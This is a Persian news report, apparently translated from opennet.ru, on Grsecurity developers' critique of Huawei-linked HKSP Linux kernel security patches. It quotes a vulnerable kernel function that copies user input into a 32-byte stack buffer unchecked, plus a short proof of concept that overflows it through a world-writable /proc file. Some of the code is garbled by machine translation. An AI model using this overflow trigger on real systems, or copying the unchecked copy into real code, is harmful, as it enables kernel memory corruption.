توسعه دهندگان پروژه Grsecurity
وصله های HKSP توسط یکی از کارمندان هواوی منتشر شده است، شامل ذکر نام هوآوی در نمایه GitHub و از کلمه Huawei در نام پروژه (HKSP - Huawei Kernel Self Protection) استفاده شده است. در همان زمان، نمایندگان هوآوی ارتباط پروژه HKSP با این شرکت را تکذیب کردند و اعلام کردند که این کد به ابتکار شخصی کارمند توسعه یافته است، یک پروژه رسمی هوآوی نیست و در محصولات این شرکت استفاده نمی شود. بر
HKSP شامل تغییراتی مانند تصادفی سازی offset ها در ساختار cred، محافظت در برابر حملات به فضای نام شناسه کاربر (فضای نام pid)، جداسازی پشته پردازش از ناحیه mmap، تشخیص تماس های مضاعف به تابع kfree، مسدود کردن نشت ها از طریق شبه است. -FS /proc (/proc/ {modules, keys, key-users}, /proc/sys/kernel/* and /proc/sys/vm/mmap_min_addr, /proc/kallsyms)، تصادفیسازی آدرس فضای کاربر بهبود یافته، Ptrace اضافی حفاظت، حفاظت از smap و smep پیشرفته، امکان ممنوعیت ارسال داده ها از طریق سوکت های خام، مسدود کردن آدرس های نادرست در سوکت های UDP و بررسی یکپارچگی فرآیندهای در حال اجرا. همچنین شامل ماژول هسته Ksguard است که هدف آن شناسایی تلاشها برای معرفی روتکیتهای معمولی است.
وصله ها
مطالعه وصله توسط توسعه دهندگان Grsecurity خطاها و ضعف های زیادی را در کد نشان داد و همچنین عدم وجود یک مدل تهدید را نشان داد که به آنها اجازه می دهد به اندازه کافی در مورد قابلیت های پروژه قضاوت کنند. برای اینکه به وضوح نشان دهیم که کد بدون استفاده از روش های برنامه نویسی ایمن نوشته شده است، نمونه ای از یک آسیب پذیری بی اهمیت در کنترل کننده آورده شده است.
فایل /proc/ksguard/state، که با حقوق 0777 ایجاد شده است، به این معنی که همه دسترسی به نوشتن دارند. تابع ksg_state_write که برای تجزیه دستورات نوشته شده در /proc/ksguard/state استفاده میشود، یک بافر tmp[32] ایجاد میکند که دادهها بر اساس اندازه عملوند ارسال شده، بدون در نظر گرفتن اندازه بافر هدف و بدون در نظر گرفتن اندازه عملوند نوشته میشوند. بررسی پارامتر با اندازه رشته آن ها برای بازنویسی بخشی از پشته هسته، مهاجم فقط باید یک خط فرمت شده خاص در /proc/ksguard/state بنویسد.
static ssize_t ksg_state_write (فایل ساختار *فایل، const char __user *buf،
اندازه_t len، loff_t *offset)
{
مقدار u64;
char tmp[32];
size_t n = 0;
if (copy_from_user (tmp، buf، len))
بازگشت -1 ؛
value = simple_strtoul(tmp, '\0', 10);
...
نمونه اولیه بهره برداری:
char buf[4096] = { };
int fd = open(“/proc/ksguard/state”, O_WRONLY);
اگر (fd >= 0) {
write(fd، buf، sizeof(buf));
بستن (fd);
}
منبع: opennet.ru